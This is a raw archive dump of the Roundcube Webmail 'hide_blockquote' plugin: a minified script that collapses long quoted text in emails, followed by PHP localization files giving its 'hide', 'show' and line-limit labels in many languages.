 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
function hide_blockquote(){var t=rcmail.env.blockquote_limit;t<=0||$("div.message-part div.pre > blockquote",$("#messagebody")).each(function(){var e,i=$(this);$("blockquote").before(document.createTextNode("\n")),(e=i.text().trim().split(/\n/)).length<=t&&i.height()<=15*t||(e=$('<blockquote class="blockquote-header">').css({"white-space":"nowrap",overflow:"hidden",position:"relative"}).text(e[0]),$('<span class="blockquote-link"></span>').css({position:"absolute","z-Index":2}).text(rcmail.get_label("hide_blockquote.show")).data("parent",e).click(function(){var e=$(this),t=e.data("parent"),o=t.is(":visible");e.text(rcmail.get_label(o?"hide":"show","hide_blockquote")).detach().appendTo(o?i:t).toggleClass("collapsed"),t[o?"hide":"show"](),i[o?"show":"hide"]()}).appendTo(e),i.hide().css({position:"relative"}).before(e))})}window.rcmail&&rcmail.addEventListener("init",function(){hide_blockquote()});
PKh�\��ȅ��.plugins/hide_blockquote/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = '隐藏';
$labels['show'] = '显示';
$labels['quotelimit'] = '隐藏引用当行数大于';
PKh�\���A��.plugins/hide_blockquote/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Схаваць';
$labels['show'] = 'Паказаць';
$labels['quotelimit'] = 'Хаваць цытаванне, калі колькасць радкоў пераўзыходзіць';
PKh�\�c�Y��.plugins/hide_blockquote/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Скрий';
$labels['show'] = 'Покажи';
$labels['quotelimit'] = 'Скрива цитатите когато броя редове е по-голям от';
PKh�\J�y��.plugins/hide_blockquote/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels = [];
$labels['hide'] = 'Hide';
$labels['show'] = 'Show';
$labels['quotelimit'] = 'Hide citation when lines count is greater than';
PKh�\0�T��.plugins/hide_blockquote/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Piilota';
$labels['show'] = 'Näytä';
$labels['quotelimit'] = 'Piilota lainaus rivejä ollessa enemmän kuin';
PKh�\�:!'��.plugins/hide_blockquote/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Skjul';
$labels['show'] = 'Vis';
$labels['quotelimit'] = 'Skjul sitat når antall linjer er flere enn';
PKh�\m>��.plugins/hide_blockquote/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Fshihe';
$labels['show'] = 'Shfaqe';
$labels['quotelimit'] = 'Fshihe citimin kur numri i rreshtave është më i madh se';
PKh�\���!��.plugins/hide_blockquote/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Peida';
$labels['show'] = 'Näita';
$labels['quotelimit'] = 'Peida tsitaat kui ridade arv on suurem kui';
PKh�\4h�F��.plugins/hide_blockquote/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'شاردنەوە';
$labels['show'] = 'پیشاندان';
$labels['quotelimit'] = 'بەڵگەهێنانەوە بشارەوە کاتێک ژمارەی هێڵەکان گەورەتربوون لە';
PKh�\������.plugins/hide_blockquote/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ezkutatu';
$labels['show'] = 'Erakutsi';
$labels['quotelimit'] = 'Ezkutatu aipamena lerroen kopurua hau baino handiagoa denean';
PKh�\��*���.plugins/hide_blockquote/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Gizle';
$labels['show'] = 'Görüntüle';
$labels['quotelimit'] = 'Satır sayısı şundan fazla ise alıntılar gizlensin:';
PKh�\�����.plugins/hide_blockquote/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ocultar';
$labels['show'] = 'Mostrar';
$labels['quotelimit'] = 'Ocultar el mail citado cuando el número de líneas sea mayor que';
PKh�\pp�	CC.plugins/hide_blockquote/localization/ur_PK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['show'] = 'دیکھایں';
PKh�\*���+plugins/hide_blockquote/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Veşêre';
$labels['show'] = 'Nîşan bide';
$labels['quotelimit'] = 'Jêgirtinê bigire dema ku hejmara rêzan zêdetir be ji';
PKh�\X�����.plugins/hide_blockquote/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ocultar';
$labels['show'] = 'Exibir';
$labels['quotelimit'] = 'Ocultar a citação quando o número de linhas for maior que';
PKh�\HM���.plugins/hide_blockquote/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Slēpt';
$labels['show'] = 'Rādīt';
$labels['quotelimit'] = 'Slēpt citātu kad līniju skaits ir lielāks kā';
PKh�\~����.plugins/hide_blockquote/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Skryť';
$labels['show'] = 'Zobraziť';
$labels['quotelimit'] = 'Skryť citovaný text, ak je počet riadkov väčší než';
PKh�\'J����.plugins/hide_blockquote/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Skrýt';
$labels['show'] = 'Zobrazit';
$labels['quotelimit'] = 'Skrýt citaci pokud je počet řádků větší než';
PKh�\K���.plugins/hide_blockquote/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Verberg';
$labels['show'] = 'Weergeven';
$labels['quotelimit'] = 'Verberg citaat wanneer het aantal regels groter is dan';
PKh�\�9F���.plugins/hide_blockquote/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Приховати';
$labels['show'] = 'Показати';
$labels['quotelimit'] = 'Приховати цитування, коли кількість рядків більша, ніж ';
PKh�\!�f��.plugins/hide_blockquote/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ferstopje';
$labels['show'] = 'Fertoane';
$labels['quotelimit'] = 'Sitaasje ferstopje at rigel telling grutter is as';
PKh�\�/-ѥ�.plugins/hide_blockquote/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'ausblenden';
$labels['show'] = 'einblenden';
$labels['quotelimit'] = 'Zitate verbergen ab einer Zeilenlänge von';
PKh�\(ML��/plugins/hide_blockquote/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ocultar';
$labels['show'] = 'Mostrar';
$labels['quotelimit'] = 'Ocultar la cita cuando el número de lineas sea mayor a ';
PKh�\>4N\��+plugins/hide_blockquote/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Berkitish';
$labels['show'] = 'Ko‘rsatish';
$labels['quotelimit'] = 'Qatorlar soni ko‘proq bo‘lsa, sarlavhani yashirish';
PKh�\�b�cBB+plugins/hide_blockquote/localization/es.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | plugins/hide_blockquote/localization/<lang>.inc                       |
 |                                                                       |
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 | Copyright (C) 2012-2013, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/
$labels['hide'] = 'Ocultar';
$labels['show'] = 'Mostrar';
$labels['quotelimit'] = 'Ocultar cita cuando el número de líneas es mayor de';
?>
PKh�\��T���.plugins/hide_blockquote/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Թաքցնել';
$labels['show'] = 'Ցուցադրել';
$labels['quotelimit'] = 'Թաքցնել ցիտումը երբ տողերի քանակը գերազանցում է';
PKh�\Z����.plugins/hide_blockquote/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Hide';
$labels['show'] = 'Show';
$labels['quotelimit'] = 'Hide citation when lines count is greater than';
PKh�\4���.plugins/hide_blockquote/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = '隱藏';
$labels['show'] = '顯示';
$labels['quotelimit'] = '當行數大於此數目,就隱藏引文:';
PKh�\�8�
��.plugins/hide_blockquote/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Amaga';
$labels['show'] = 'Mostra';
$labels['quotelimit'] = 'Amaga la cita quan el nombre de línies sigui més gran de';
PKh�\t/�Z��+plugins/hide_blockquote/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Celar';
$labels['show'] = 'Monstrar';
$labels['quotelimit'] = 'Celar le citation quando le numero de lineas es superior a';
PKh�\Ro^��.plugins/hide_blockquote/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Sakrij';
$labels['show'] = 'Prikaži';
$labels['quotelimit'] = 'Sakrij citate kada je broj linija veći od';
PKh�\;NMC��.plugins/hide_blockquote/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Скрыть';
$labels['show'] = 'Показать';
$labels['quotelimit'] = 'Скрыть цитату, если число строк более чем';
PKh�\}~�%��.plugins/hide_blockquote/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'مخفی کردن';
$labels['show'] = 'نشان دادن';
$labels['quotelimit'] = 'پنهان کردن نقل‌قول وقتی تعداد خطوط بیشتر است از';
PKh�\t�g���.plugins/hide_blockquote/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Fela';
$labels['show'] = 'Birta';
$labels['quotelimit'] = 'Fela tilvitnun þegar fjöldi lína er meiri en';
PKh�\��1ԩ�.plugins/hide_blockquote/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ẩn';
$labels['show'] = 'Hiển thị';
$labels['quotelimit'] = 'Ẩn trích dẫn khi tổng số dòng lớn hơn';
PKh�\���'.plugins/hide_blockquote/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'ซ่อน';
$labels['show'] = 'แสดง';
$labels['quotelimit'] = 'ซ่อนการอ้างอิงเมื่อการนับบรรทัดมีค่ามากกว่า';
PKh�\�+���.plugins/hide_blockquote/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'إخفاء';
$labels['show'] = 'إظهار';
$labels['quotelimit'] = 'اخف الاقتباس اذا كان عدد الاسطر اكبر من ';
PKh�\�/6�.plugins/hide_blockquote/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Gizlət';
$labels['show'] = 'Göstər';
$labels['quotelimit'] = 'Sayğac xətti çoxdursa sitatı gizlə';
PKh�\"��>��.plugins/hide_blockquote/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Sembunyi';
$labels['show'] = 'Tampil';
$labels['quotelimit'] = 'Sembunyikan kutipan ketika jumlah baris lebih besar dari';
PKh�\w�R?]],plugins/hide_blockquote/localization/tzl.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ascunçarh';
$labels['show'] = 'Mostrarh';
PKh�\�=�=��.plugins/hide_blockquote/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Elrejtés';
$labels['show'] = 'Megjelenítés';
$labels['quotelimit'] = 'Idézet elrejtése ha a sorok száma több mint';
PKh�\W�B��.plugins/hide_blockquote/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ascunde';
$labels['show'] = 'Afișează';
$labels['quotelimit'] = 'Ascunde citațiile dacă numărul de linii este mai mare ca';
PKh�\(����+plugins/hide_blockquote/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Kaŝi';
$labels['show'] = 'Montri';
$labels['quotelimit'] = 'Kaŝi citaĵon kiam la nombro de linioj estas pligranda ol';
